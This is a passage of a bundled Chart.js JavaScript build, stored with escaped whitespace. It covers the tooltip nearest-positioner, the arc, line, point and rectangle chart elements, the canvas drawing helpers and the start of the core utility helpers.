count)\n\t\t\t};\n\t\t},\n\n\t\t/**\n\t\t * Gets the tooltip position nearest of the item nearest to the event position\n\t\t * @function Chart.Tooltip.positioners.nearest\n\t\t * @param elements {Chart.Element[]} the tooltip elements\n\t\t * @param eventPosition {Point} the position of the event in canvas coordinates\n\t\t * @returns {Point} the tooltip position\n\t\t */\n\t\tnearest: function(elements, eventPosition) {\n\t\t\tvar x = eventPosition.x;\n\t\t\tvar y = eventPosition.y;\n\t\t\tvar minDistance = Number.POSITIVE_INFINITY;\n\t\t\tvar i, len, nearestElement;\n\n\t\t\tfor (i = 0, len = elements.length; i < len; ++i) {\n\t\t\t\tvar el = elements[i];\n\t\t\t\tif (el && el.hasValue()) {\n\t\t\t\t\tvar center = el.getCenterPoint();\n\t\t\t\t\tvar d = helpers.distanceBetweenPoints(eventPosition, center);\n\n\t\t\t\t\tif (d < minDistance) {\n\t\t\t\t\t\tminDistance = d;\n\t\t\t\t\t\tnearestElement = el;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif (nearestElement) {\n\t\t\t\tvar tp = nearestElement.tooltipPosition();\n\t\t\t\tx = tp.x;\n\t\t\t\ty = tp.y;\n\t\t\t}\n\n\t\t\treturn {\n\t\t\t\tx: x,\n\t\t\t\ty: y\n\t\t\t};\n\t\t}\n\t};\n};\n\n},{\"25\":25,\"26\":26,\"45\":45}],36:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\n\ndefaults._set('global', {\n\telements: {\n\t\tarc: {\n\t\t\tbackgroundColor: defaults.global.defaultColor,\n\t\t\tborderColor: '#fff',\n\t\t\tborderWidth: 2\n\t\t}\n\t}\n});\n\nmodule.exports = Element.extend({\n\tinLabelRange: function(mouseX) {\n\t\tvar vm = this._view;\n\n\t\tif (vm) {\n\t\t\treturn (Math.pow(mouseX - vm.x, 2) < Math.pow(vm.radius + vm.hoverRadius, 2));\n\t\t}\n\t\treturn false;\n\t},\n\n\tinRange: function(chartX, chartY) {\n\t\tvar vm = this._view;\n\n\t\tif (vm) {\n\t\t\tvar pointRelativePosition = helpers.getAngleFromPoint(vm, {x: chartX, y: chartY});\n\t\t\tvar\tangle = pointRelativePosition.angle;\n\t\t\tvar distance = pointRelativePosition.distance;\n\n\t\t\t// Sanitise angle range\n\t\t\tvar startAngle = vm.startAngle;\n\t\t\tvar endAngle = vm.endAngle;\n\t\t\twhile (endAngle < startAngle) {\n\t\t\t\tendAngle += 2.0 * Math.PI;\n\t\t\t}\n\t\t\twhile (angle > endAngle) {\n\t\t\t\tangle -= 2.0 * Math.PI;\n\t\t\t}\n\t\t\twhile (angle < startAngle) {\n\t\t\t\tangle += 2.0 * Math.PI;\n\t\t\t}\n\n\t\t\t// Check if within the range of the open/close angle\n\t\t\tvar betweenAngles = (angle >= startAngle && angle <= endAngle);\n\t\t\tvar withinRadius = (distance >= vm.innerRadius && distance <= vm.outerRadius);\n\n\t\t\treturn (betweenAngles && withinRadius);\n\t\t}\n\t\treturn false;\n\t},\n\n\tgetCenterPoint: function() {\n\t\tvar vm = this._view;\n\t\tvar halfAngle = (vm.startAngle + vm.endAngle) / 2;\n\t\tvar halfRadius = (vm.innerRadius + vm.outerRadius) / 2;\n\t\treturn {\n\t\t\tx: vm.x + Math.cos(halfAngle) * halfRadius,\n\t\t\ty: vm.y + Math.sin(halfAngle) * halfRadius\n\t\t};\n\t},\n\n\tgetArea: function() {\n\t\tvar vm = this._view;\n\t\treturn Math.PI * ((vm.endAngle - vm.startAngle) / (2 * Math.PI)) * (Math.pow(vm.outerRadius, 2) - Math.pow(vm.innerRadius, 2));\n\t},\n\n\ttooltipPosition: function() {\n\t\tvar vm = this._view;\n\t\tvar centreAngle = vm.startAngle + ((vm.endAngle - vm.startAngle) / 2);\n\t\tvar rangeFromCentre = (vm.outerRadius - vm.innerRadius) / 2 + vm.innerRadius;\n\n\t\treturn {\n\t\t\tx: vm.x + (Math.cos(centreAngle) * rangeFromCentre),\n\t\t\ty: vm.y + (Math.sin(centreAngle) * rangeFromCentre)\n\t\t};\n\t},\n\n\tdraw: function() {\n\t\tvar ctx = this._chart.ctx;\n\t\tvar vm = this._view;\n\t\tvar sA = vm.startAngle;\n\t\tvar eA = vm.endAngle;\n\n\t\tctx.beginPath();\n\n\t\tctx.arc(vm.x, vm.y, vm.outerRadius, sA, eA);\n\t\tctx.arc(vm.x, vm.y, vm.innerRadius, eA, sA, true);\n\n\t\tctx.closePath();\n\t\tctx.strokeStyle = vm.borderColor;\n\t\tctx.lineWidth = vm.borderWidth;\n\n\t\tctx.fillStyle = vm.backgroundColor;\n\n\t\tctx.fill();\n\t\tctx.lineJoin = 'bevel';\n\n\t\tif (vm.borderWidth) {\n\t\t\tctx.stroke();\n\t\t}\n\t}\n});\n\n},{\"25\":25,\"26\":26,\"45\":45}],37:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\n\nvar globalDefaults = defaults.global;\n\ndefaults._set('global', {\n\telements: {\n\t\tline: {\n\t\t\ttension: 0.4,\n\t\t\tbackgroundColor: globalDefaults.defaultColor,\n\t\t\tborderWidth: 3,\n\t\t\tborderColor: globalDefaults.defaultColor,\n\t\t\tborderCapStyle: 'butt',\n\t\t\tborderDash: [],\n\t\t\tborderDashOffset: 0.0,\n\t\t\tborderJoinStyle: 'miter',\n\t\t\tcapBezierPoints: true,\n\t\t\tfill: true, // do we fill in the area between the line and its base axis\n\t\t}\n\t}\n});\n\nmodule.exports = Element.extend({\n\tdraw: function() {\n\t\tvar me = this;\n\t\tvar vm = me._view;\n\t\tvar ctx = me._chart.ctx;\n\t\tvar spanGaps = vm.spanGaps;\n\t\tvar points = me._children.slice(); // clone array\n\t\tvar globalOptionLineElements = globalDefaults.elements.line;\n\t\tvar lastDrawnIndex = -1;\n\t\tvar index, current, previous, currentVM;\n\n\t\t// If we are looping, adding the first point again\n\t\tif (me._loop && points.length) {\n\t\t\tpoints.push(points[0]);\n\t\t}\n\n\t\tctx.save();\n\n\t\t// Stroke Line Options\n\t\tctx.lineCap = vm.borderCapStyle || globalOptionLineElements.borderCapStyle;\n\n\t\t// IE 9 and 10 do not support line dash\n\t\tif (ctx.setLineDash) {\n\t\t\tctx.setLineDash(vm.borderDash || globalOptionLineElements.borderDash);\n\t\t}\n\n\t\tctx.lineDashOffset = vm.borderDashOffset || globalOptionLineElements.borderDashOffset;\n\t\tctx.lineJoin = vm.borderJoinStyle || globalOptionLineElements.borderJoinStyle;\n\t\tctx.lineWidth = vm.borderWidth || globalOptionLineElements.borderWidth;\n\t\tctx.strokeStyle = vm.borderColor || globalDefaults.defaultColor;\n\n\t\t// Stroke Line\n\t\tctx.beginPath();\n\t\tlastDrawnIndex = -1;\n\n\t\tfor (index = 0; index < points.length; ++index) {\n\t\t\tcurrent = points[index];\n\t\t\tprevious = helpers.previousItem(points, index);\n\t\t\tcurrentVM = current._view;\n\n\t\t\t// First point moves to it's starting position no matter what\n\t\t\tif (index === 0) {\n\t\t\t\tif (!currentVM.skip) {\n\t\t\t\t\tctx.moveTo(currentVM.x, currentVM.y);\n\t\t\t\t\tlastDrawnIndex = index;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tprevious = lastDrawnIndex === -1 ? previous : points[lastDrawnIndex];\n\n\t\t\t\tif (!currentVM.skip) {\n\t\t\t\t\tif ((lastDrawnIndex !== (index - 1) && !spanGaps) || lastDrawnIndex === -1) {\n\t\t\t\t\t\t// There was a gap and this is the first point after the gap\n\t\t\t\t\t\tctx.moveTo(currentVM.x, currentVM.y);\n\t\t\t\t\t} else {\n\t\t\t\t\t\t// Line to next point\n\t\t\t\t\t\thelpers.canvas.lineTo(ctx, previous._view, current._view);\n\t\t\t\t\t}\n\t\t\t\t\tlastDrawnIndex = index;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tctx.stroke();\n\t\tctx.restore();\n\t}\n});\n\n},{\"25\":25,\"26\":26,\"45\":45}],38:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\nvar helpers = require(45);\n\nvar defaultColor = defaults.global.defaultColor;\n\ndefaults._set('global', {\n\telements: {\n\t\tpoint: {\n\t\t\tradius: 3,\n\t\t\tpointStyle: 'circle',\n\t\t\tbackgroundColor: defaultColor,\n\t\t\tborderColor: defaultColor,\n\t\t\tborderWidth: 1,\n\t\t\t// Hover\n\t\t\thitRadius: 1,\n\t\t\thoverRadius: 4,\n\t\t\thoverBorderWidth: 1\n\t\t}\n\t}\n});\n\nfunction xRange(mouseX) {\n\tvar vm = this._view;\n\treturn vm ? (Math.abs(mouseX - vm.x) < vm.radius + vm.hitRadius) : false;\n}\n\nfunction yRange(mouseY) {\n\tvar vm = this._view;\n\treturn vm ? (Math.abs(mouseY - vm.y) < vm.radius + vm.hitRadius) : false;\n}\n\nmodule.exports = Element.extend({\n\tinRange: function(mouseX, mouseY) {\n\t\tvar vm = this._view;\n\t\treturn vm ? ((Math.pow(mouseX - vm.x, 2) + Math.pow(mouseY - vm.y, 2)) < Math.pow(vm.hitRadius + vm.radius, 2)) : false;\n\t},\n\n\tinLabelRange: xRange,\n\tinXRange: xRange,\n\tinYRange: yRange,\n\n\tgetCenterPoint: function() {\n\t\tvar vm = this._view;\n\t\treturn {\n\t\t\tx: vm.x,\n\t\t\ty: vm.y\n\t\t};\n\t},\n\n\tgetArea: function() {\n\t\treturn Math.PI * Math.pow(this._view.radius, 2);\n\t},\n\n\ttooltipPosition: function() {\n\t\tvar vm = this._view;\n\t\treturn {\n\t\t\tx: vm.x,\n\t\t\ty: vm.y,\n\t\t\tpadding: vm.radius + vm.borderWidth\n\t\t};\n\t},\n\n\tdraw: function(chartArea) {\n\t\tvar vm = this._view;\n\t\tvar model = this._model;\n\t\tvar ctx = this._chart.ctx;\n\t\tvar pointStyle = vm.pointStyle;\n\t\tvar radius = vm.radius;\n\t\tvar x = vm.x;\n\t\tvar y = vm.y;\n\t\tvar color = helpers.color;\n\t\tvar errMargin = 1.01; // 1.01 is margin for Accumulated error. (Especially Edge, IE.)\n\t\tvar ratio = 0;\n\n\t\tif (vm.skip) {\n\t\t\treturn;\n\t\t}\n\n\t\tctx.strokeStyle = vm.borderColor || defaultColor;\n\t\tctx.lineWidth = helpers.valueOrDefault(vm.borderWidth, defaults.global.elements.point.borderWidth);\n\t\tctx.fillStyle = vm.backgroundColor || defaultColor;\n\n\t\t// Cliping for Points.\n\t\t// going out from inner charArea?\n\t\tif ((chartArea !== undefined) && ((model.x < chartArea.left) || (chartArea.right * errMargin < model.x) || (model.y < chartArea.top) || (chartArea.bottom * errMargin < model.y))) {\n\t\t\t// Point fade out\n\t\t\tif (model.x < chartArea.left) {\n\t\t\t\tratio = (x - model.x) / (chartArea.left - model.x);\n\t\t\t} else if (chartArea.right * errMargin < model.x) {\n\t\t\t\tratio = (model.x - x) / (model.x - chartArea.right);\n\t\t\t} else if (model.y < chartArea.top) {\n\t\t\t\tratio = (y - model.y) / (chartArea.top - model.y);\n\t\t\t} else if (chartArea.bottom * errMargin < model.y) {\n\t\t\t\tratio = (model.y - y) / (model.y - chartArea.bottom);\n\t\t\t}\n\t\t\tratio = Math.round(ratio * 100) / 100;\n\t\t\tctx.strokeStyle = color(ctx.strokeStyle).alpha(ratio).rgbString();\n\t\t\tctx.fillStyle = color(ctx.fillStyle).alpha(ratio).rgbString();\n\t\t}\n\n\t\thelpers.canvas.drawPoint(ctx, pointStyle, radius, x, y);\n\t}\n});\n\n},{\"25\":25,\"26\":26,\"45\":45}],39:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar Element = require(26);\n\ndefaults._set('global', {\n\telements: {\n\t\trectangle: {\n\t\t\tbackgroundColor: defaults.global.defaultColor,\n\t\t\tborderColor: defaults.global.defaultColor,\n\t\t\tborderSkipped: 'bottom',\n\t\t\tborderWidth: 0\n\t\t}\n\t}\n});\n\nfunction isVertical(bar) {\n\treturn bar._view.width !== undefined;\n}\n\n/**\n * Helper function to get the bounds of the bar regardless of the orientation\n * @param bar {Chart.Element.Rectangle} the bar\n * @return {Bounds} bounds of the bar\n * @private\n */\nfunction getBarBounds(bar) {\n\tvar vm = bar._view;\n\tvar x1, x2, y1, y2;\n\n\tif (isVertical(bar)) {\n\t\t// vertical\n\t\tvar halfWidth = vm.width / 2;\n\t\tx1 = vm.x - halfWidth;\n\t\tx2 = vm.x + halfWidth;\n\t\ty1 = Math.min(vm.y, vm.base);\n\t\ty2 = Math.max(vm.y, vm.base);\n\t} else {\n\t\t// horizontal bar\n\t\tvar halfHeight = vm.height / 2;\n\t\tx1 = Math.min(vm.x, vm.base);\n\t\tx2 = Math.max(vm.x, vm.base);\n\t\ty1 = vm.y - halfHeight;\n\t\ty2 = vm.y + halfHeight;\n\t}\n\n\treturn {\n\t\tleft: x1,\n\t\ttop: y1,\n\t\tright: x2,\n\t\tbottom: y2\n\t};\n}\n\nmodule.exports = Element.extend({\n\tdraw: function() {\n\t\tvar ctx = this._chart.ctx;\n\t\tvar vm = this._view;\n\t\tvar left, right, top, bottom, signX, signY, borderSkipped;\n\t\tvar borderWidth = vm.borderWidth;\n\n\t\tif (!vm.horizontal) {\n\t\t\t// bar\n\t\t\tleft = vm.x - vm.width / 2;\n\t\t\tright = vm.x + vm.width / 2;\n\t\t\ttop = vm.y;\n\t\t\tbottom = vm.base;\n\t\t\tsignX = 1;\n\t\t\tsignY = bottom > top ? 1 : -1;\n\t\t\tborderSkipped = vm.borderSkipped || 'bottom';\n\t\t} else {\n\t\t\t// horizontal bar\n\t\t\tleft = vm.base;\n\t\t\tright = vm.x;\n\t\t\ttop = vm.y - vm.height / 2;\n\t\t\tbottom = vm.y + vm.height / 2;\n\t\t\tsignX = right > left ? 1 : -1;\n\t\t\tsignY = 1;\n\t\t\tborderSkipped = vm.borderSkipped || 'left';\n\t\t}\n\n\t\t// Canvas doesn't allow us to stroke inside the width so we can\n\t\t// adjust the sizes to fit if we're setting a stroke on the line\n\t\tif (borderWidth) {\n\t\t\t// borderWidth shold be less than bar width and bar height.\n\t\t\tvar barSize = Math.min(Math.abs(left - right), Math.abs(top - bottom));\n\t\t\tborderWidth = borderWidth > barSize ? barSize : borderWidth;\n\t\t\tvar halfStroke = borderWidth / 2;\n\t\t\t// Adjust borderWidth when bar top position is near vm.base(zero).\n\t\t\tvar borderLeft = left + (borderSkipped !== 'left' ? halfStroke * signX : 0);\n\t\t\tvar borderRight = right + (borderSkipped !== 'right' ? -halfStroke * signX : 0);\n\t\t\tvar borderTop = top + (borderSkipped !== 'top' ? halfStroke * signY : 0);\n\t\t\tvar borderBottom = bottom + (borderSkipped !== 'bottom' ? -halfStroke * signY : 0);\n\t\t\t// not become a vertical line?\n\t\t\tif (borderLeft !== borderRight) {\n\t\t\t\ttop = borderTop;\n\t\t\t\tbottom = borderBottom;\n\t\t\t}\n\t\t\t// not become a horizontal line?\n\t\t\tif (borderTop !== borderBottom) {\n\t\t\t\tleft = borderLeft;\n\t\t\t\tright = borderRight;\n\t\t\t}\n\t\t}\n\n\t\tctx.beginPath();\n\t\tctx.fillStyle = vm.backgroundColor;\n\t\tctx.strokeStyle = vm.borderColor;\n\t\tctx.lineWidth = borderWidth;\n\n\t\t// Corner points, from bottom-left to bottom-right clockwise\n\t\t// | 1 2 |\n\t\t// | 0 3 |\n\t\tvar corners = [\n\t\t\t[left, bottom],\n\t\t\t[left, top],\n\t\t\t[right, top],\n\t\t\t[right, bottom]\n\t\t];\n\n\t\t// Find first (starting) corner with fallback to 'bottom'\n\t\tvar borders = ['bottom', 'left', 'top', 'right'];\n\t\tvar startCorner = borders.indexOf(borderSkipped, 0);\n\t\tif (startCorner === -1) {\n\t\t\tstartCorner = 0;\n\t\t}\n\n\t\tfunction cornerAt(index) {\n\t\t\treturn corners[(startCorner + index) % 4];\n\t\t}\n\n\t\t// Draw rectangle from 'startCorner'\n\t\tvar corner = cornerAt(0);\n\t\tctx.moveTo(corner[0], corner[1]);\n\n\t\tfor (var i = 1; i < 4; i++) {\n\t\t\tcorner = cornerAt(i);\n\t\t\tctx.lineTo(corner[0], corner[1]);\n\t\t}\n\n\t\tctx.fill();\n\t\tif (borderWidth) {\n\t\t\tctx.stroke();\n\t\t}\n\t},\n\n\theight: function() {\n\t\tvar vm = this._view;\n\t\treturn vm.base - vm.y;\n\t},\n\n\tinRange: function(mouseX, mouseY) {\n\t\tvar inRange = false;\n\n\t\tif (this._view) {\n\t\t\tvar bounds = getBarBounds(this);\n\t\t\tinRange = mouseX >= bounds.left && mouseX <= bounds.right && mouseY >= bounds.top && mouseY <= bounds.bottom;\n\t\t}\n\n\t\treturn inRange;\n\t},\n\n\tinLabelRange: function(mouseX, mouseY) {\n\t\tvar me = this;\n\t\tif (!me._view) {\n\t\t\treturn false;\n\t\t}\n\n\t\tvar inRange = false;\n\t\tvar bounds = getBarBounds(me);\n\n\t\tif (isVertical(me)) {\n\t\t\tinRange = mouseX >= bounds.left && mouseX <= bounds.right;\n\t\t} else {\n\t\t\tinRange = mouseY >= bounds.top && mouseY <= bounds.bottom;\n\t\t}\n\n\t\treturn inRange;\n\t},\n\n\tinXRange: function(mouseX) {\n\t\tvar bounds = getBarBounds(this);\n\t\treturn mouseX >= bounds.left && mouseX <= bounds.right;\n\t},\n\n\tinYRange: function(mouseY) {\n\t\tvar bounds = getBarBounds(this);\n\t\treturn mouseY >= bounds.top && mouseY <= bounds.bottom;\n\t},\n\n\tgetCenterPoint: function() {\n\t\tvar vm = this._view;\n\t\tvar x, y;\n\t\tif (isVertical(this)) {\n\t\t\tx = vm.x;\n\t\t\ty = (vm.y + vm.base) / 2;\n\t\t} else {\n\t\t\tx = (vm.x + vm.base) / 2;\n\t\t\ty = vm.y;\n\t\t}\n\n\t\treturn {x: x, y: y};\n\t},\n\n\tgetArea: function() {\n\t\tvar vm = this._view;\n\t\treturn vm.width * Math.abs(vm.y - vm.base);\n\t},\n\n\ttooltipPosition: function() {\n\t\tvar vm = this._view;\n\t\treturn {\n\t\t\tx: vm.x,\n\t\t\ty: vm.y\n\t\t};\n\t}\n});\n\n},{\"25\":25,\"26\":26}],40:[function(require,module,exports){\n'use strict';\n\nmodule.exports = {};\nmodule.exports.Arc = require(36);\nmodule.exports.Line = require(37);\nmodule.exports.Point = require(38);\nmodule.exports.Rectangle = require(39);\n\n},{\"36\":36,\"37\":37,\"38\":38,\"39\":39}],41:[function(require,module,exports){\n'use strict';\n\nvar helpers = require(42);\n\n/**\n * @namespace Chart.helpers.canvas\n */\nvar exports = module.exports = {\n\t/**\n\t * Clears the entire canvas associated to the given `chart`.\n\t * @param {Chart} chart - The chart for which to clear the canvas.\n\t */\n\tclear: function(chart) {\n\t\tchart.ctx.clearRect(0, 0, chart.width, chart.height);\n\t},\n\n\t/**\n\t * Creates a \"path\" for a rectangle with rounded corners at position (x, y) with a\n\t * given size (width, height) and the same `radius` for all corners.\n\t * @param {CanvasRenderingContext2D} ctx - The canvas 2D Context.\n\t * @param {Number} x - The x axis of the coordinate for the rectangle starting point.\n\t * @param {Number} y - The y axis of the coordinate for the rectangle starting point.\n\t * @param {Number} width - The rectangle's width.\n\t * @param {Number} height - The rectangle's height.\n\t * @param {Number} radius - The rounded amount (in pixels) for the four corners.\n\t * @todo handle `radius` as top-left, top-right, bottom-right, bottom-left array/object?\n\t */\n\troundedRect: function(ctx, x, y, width, height, radius) {\n\t\tif (radius) {\n\t\t\tvar rx = Math.min(radius, width / 2);\n\t\t\tvar ry = Math.min(radius, height / 2);\n\n\t\t\tctx.moveTo(x + rx, y);\n\t\t\tctx.lineTo(x + width - rx, y);\n\t\t\tctx.quadraticCurveTo(x + width, y, x + width, y + ry);\n\t\t\tctx.lineTo(x + width, y + height - ry);\n\t\t\tctx.quadraticCurveTo(x + width, y + height, x + width - rx, y + height);\n\t\t\tctx.lineTo(x + rx, y + height);\n\t\t\tctx.quadraticCurveTo(x, y + height, x, y + height - ry);\n\t\t\tctx.lineTo(x, y + ry);\n\t\t\tctx.quadraticCurveTo(x, y, x + rx, y);\n\t\t} else {\n\t\t\tctx.rect(x, y, width, height);\n\t\t}\n\t},\n\n\tdrawPoint: function(ctx, style, radius, x, y) {\n\t\tvar type, edgeLength, xOffset, yOffset, height, size;\n\n\t\tif (style && typeof style === 'object') {\n\t\t\ttype = style.toString();\n\t\t\tif (type === '[object HTMLImageElement]' || type === '[object HTMLCanvasElement]') {\n\t\t\t\tctx.drawImage(style, x - style.width / 2, y - style.height / 2, style.width, style.height);\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\tif (isNaN(radius) || radius <= 0) {\n\t\t\treturn;\n\t\t}\n\n\t\tswitch (style) {\n\t\t// Default includes circle\n\t\tdefault:\n\t\t\tctx.beginPath();\n\t\t\tctx.arc(x, y, radius, 0, Math.PI * 2);\n\t\t\tctx.closePath();\n\t\t\tctx.fill();\n\t\t\tbreak;\n\t\tcase 'triangle':\n\t\t\tctx.beginPath();\n\t\t\tedgeLength = 3 * radius / Math.sqrt(3);\n\t\t\theight = edgeLength * Math.sqrt(3) / 2;\n\t\t\tctx.moveTo(x - edgeLength / 2, y + height / 3);\n\t\t\tctx.lineTo(x + edgeLength / 2, y + height / 3);\n\t\t\tctx.lineTo(x, y - 2 * height / 3);\n\t\t\tctx.closePath();\n\t\t\tctx.fill();\n\t\t\tbreak;\n\t\tcase 'rect':\n\t\t\tsize = 1 / Math.SQRT2 * radius;\n\t\t\tctx.beginPath();\n\t\t\tctx.fillRect(x - size, y - size, 2 * size, 2 * size);\n\t\t\tctx.strokeRect(x - size, y - size, 2 * size, 2 * size);\n\t\t\tbreak;\n\t\tcase 'rectRounded':\n\t\t\tvar offset = radius / Math.SQRT2;\n\t\t\tvar leftX = x - offset;\n\t\t\tvar topY = y - offset;\n\t\t\tvar sideSize = Math.SQRT2 * radius;\n\t\t\tctx.beginPath();\n\t\t\tthis.roundedRect(ctx, leftX, topY, sideSize, sideSize, radius / 2);\n\t\t\tctx.closePath();\n\t\t\tctx.fill();\n\t\t\tbreak;\n\t\tcase 'rectRot':\n\t\t\tsize = 1 / Math.SQRT2 * radius;\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x - size, y);\n\t\t\tctx.lineTo(x, y + size);\n\t\t\tctx.lineTo(x + size, y);\n\t\t\tctx.lineTo(x, y - size);\n\t\t\tctx.closePath();\n\t\t\tctx.fill();\n\t\t\tbreak;\n\t\tcase 'cross':\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x, y + radius);\n\t\t\tctx.lineTo(x, y - radius);\n\t\t\tctx.moveTo(x - radius, y);\n\t\t\tctx.lineTo(x + radius, y);\n\t\t\tctx.closePath();\n\t\t\tbreak;\n\t\tcase 'crossRot':\n\t\t\tctx.beginPath();\n\t\t\txOffset = Math.cos(Math.PI / 4) * radius;\n\t\t\tyOffset = Math.sin(Math.PI / 4) * radius;\n\t\t\tctx.moveTo(x - xOffset, y - yOffset);\n\t\t\tctx.lineTo(x + xOffset, y + yOffset);\n\t\t\tctx.moveTo(x - xOffset, y + yOffset);\n\t\t\tctx.lineTo(x + xOffset, y - yOffset);\n\t\t\tctx.closePath();\n\t\t\tbreak;\n\t\tcase 'star':\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x, y + radius);\n\t\t\tctx.lineTo(x, y - radius);\n\t\t\tctx.moveTo(x - radius, y);\n\t\t\tctx.lineTo(x + radius, y);\n\t\t\txOffset = Math.cos(Math.PI / 4) * radius;\n\t\t\tyOffset = Math.sin(Math.PI / 4) * radius;\n\t\t\tctx.moveTo(x - xOffset, y - yOffset);\n\t\t\tctx.lineTo(x + xOffset, y + yOffset);\n\t\t\tctx.moveTo(x - xOffset, y + yOffset);\n\t\t\tctx.lineTo(x + xOffset, y - yOffset);\n\t\t\tctx.closePath();\n\t\t\tbreak;\n\t\tcase 'line':\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x - radius, y);\n\t\t\tctx.lineTo(x + radius, y);\n\t\t\tctx.closePath();\n\t\t\tbreak;\n\t\tcase 'dash':\n\t\t\tctx.beginPath();\n\t\t\tctx.moveTo(x, y);\n\t\t\tctx.lineTo(x + radius, y);\n\t\t\tctx.closePath();\n\t\t\tbreak;\n\t\t}\n\n\t\tctx.stroke();\n\t},\n\n\tclipArea: function(ctx, area) {\n\t\tctx.save();\n\t\tctx.beginPath();\n\t\tctx.rect(area.left, area.top, area.right - area.left, area.bottom - area.top);\n\t\tctx.clip();\n\t},\n\n\tunclipArea: function(ctx) {\n\t\tctx.restore();\n\t},\n\n\tlineTo: function(ctx, previous, target, flip) {\n\t\tif (target.steppedLine) {\n\t\t\tif ((target.steppedLine === 'after' && !flip) || (target.steppedLine !== 'after' && flip)) {\n\t\t\t\tctx.lineTo(previous.x, target.y);\n\t\t\t} else {\n\t\t\t\tctx.lineTo(target.x, previous.y);\n\t\t\t}\n\t\t\tctx.lineTo(target.x, target.y);\n\t\t\treturn;\n\t\t}\n\n\t\tif (!target.tension) {\n\t\t\tctx.lineTo(target.x, target.y);\n\t\t\treturn;\n\t\t}\n\n\t\tctx.bezierCurveTo(\n\t\t\tflip ? previous.controlPointPreviousX : previous.controlPointNextX,\n\t\t\tflip ? previous.controlPointPreviousY : previous.controlPointNextY,\n\t\t\tflip ? target.controlPointNextX : target.controlPointPreviousX,\n\t\t\tflip ? target.controlPointNextY : target.controlPointPreviousY,\n\t\t\ttarget.x,\n\t\t\ttarget.y);\n\t}\n};\n\n// DEPRECATIONS\n\n/**\n * Provided for backward compatibility, use Chart.helpers.canvas.clear instead.\n * @namespace Chart.helpers.clear\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.clear = exports.clear;\n\n/**\n * Provided for backward compatibility, use Chart.helpers.canvas.roundedRect instead.\n * @namespace Chart.helpers.drawRoundedRectangle\n * @deprecated since version 2.7.0\n * @todo remove at version 3\n * @private\n */\nhelpers.drawRoundedRectangle = function(ctx) {\n\tctx.beginPath();\n\texports.roundedRect.apply(exports, arguments);\n\tctx.closePath();\n};\n\n},{\"42\":42}],42:[function(require,module,exports){\n'use strict';\n\n/**\n * @namespace Chart.helpers\n */\nvar helpers = {\n\t/**\n\t * An empty function that can be used, for example, for optional callback.\n\t */\n\tnoop: function() {},\n\n\t/**\n\t * Returns a unique id, sequentially generated from a global variable.\n\t * @returns {Number}\n\t * @function\n\t */\n\tuid: (function() {\n\t\tvar id = 0;\n\t\treturn function() {\n\t\t\treturn id++;\n\t\t};\n\t}()),\n\n\t/**\n\t * Returns true if `value` is neither null nor undefined, else returns false.\n\t * @param {*} value - The value to test.\n\t * @returns {Boolean}\n\t * @since 2.7.0\n\t */\n\tisNullOrUndef: function(value) {\n\t\treturn value === null || typeof value === 'undefined';\n\t},\n\n\t/**\n\t * Returns true if `value` is an array, else returns false.\n\t * @param {*} value - The value to test.\n\t * @returns {Boolean}\n\t * @function\n\t */\n\tisArray: Array.isArray ? Array.isArray : function(value) {\n\t\treturn Object.prototype.toString.call(value) === '[object Array]';\n\t},\n\n\t/**\n\t * Returns true if `value` is an object (excluding null), else returns false.\n\t * @param {*} value - The value to test.\n\t * @returns {Boolean}\n\t * @since 2.7.0\n\t */\n\tisObject: function(value) {\n\t\treturn value !== null && Object.prototype.toString.call(value) === '[object Object]';\n\t},\n\n\t/**\n\t * Returns `value` if defined, else returns `defaultValue`.\n\t * @param {*} value - The value to return if defined.\n\t * @param {*} defaultValue - The value to return if `value` is undefined.\n\t * @returns {*}\n\t */\n\tvalueOrDefault: function(value, defaultValue) {\n\t\treturn typeof value === 'undefined' ? defaultValue : value;\n\t},\n\n\t/**\n\t * Returns value at the given `index` in array if defined, else returns `defaultValue`.\n\t * @param {Array} value - The array to lookup for value at `index`.\n\t * @param {Number} index - The index in `value` to lookup for value.\n\t * @param {*} defaultValue - The value to return if `value[index]` is undefined.\n\t * @returns {*}\n\t */\n\tvalueAtIndexOrDefault: function(value, index, defaultValue) {\n\t\treturn helpers.valueOrDefault(helpers.isArray(value) ? value[index] : value, defaultValue);\n\t},\n\n\t/**\n\t * Calls `fn` with the given `args` in the scope defined by `thisArg` and returns the\n\t * value returned by `fn`. If `fn` is not a function, this method returns undefined.\n\t * @param {Function} fn - The function to call.\n\t * @param {Array|undefined|null} args - The arguments with which `fn` should be called.\n\t * @param {Object} [thisArg] - The value of `this` provided for the call to `fn`.\n\t * @returns {*}\n\t */\n\tcallback: function(fn, args, thisArg) {\n\t\tif (fn && typeof fn.call === 'function') {\n\t\t\treturn fn.apply(thisArg, args);\n\t\t}\n\t},\n\n\t/**\n\t * Note(SB) for performance sake, this method should only be used when loopable type\n\t * is unknown or in none intensive code (not called often and small loopable). Else\n\t * it's preferable to use a regular for() loop and save extra function calls.\n\t * @param {Object|Array} loopable - The object or array to be iterated.\n\t * @param {Function} fn - The function to call for each item.\n\t * @param {Object} [thisArg] - The value of `this` provided for the call to `fn`.\n\t * @param {Boolean} [reverse] - If true, iterates backward on the loopable.\n\t */\n\teach: function(loopable, fn, thisArg, reverse) {\n\t\tvar i, len, keys;\n\t\tif (helpers.isArray(loopable)) {\n\t\t\tlen = loopable.length;\n\t\t\tif (reverse) {\n\t\t\t\tfor (i = len - 1; i >= 0; i--) {\n\t\t\t\t\tfn.call(thisArg, loopable[i], i);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tfor (i = 0; i < len; i++) {\n\t\t\t\t\tfn.call(thisArg, loopable[i], i);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (helpers.isObject(loopable)) {\n\t\t\tkeys = 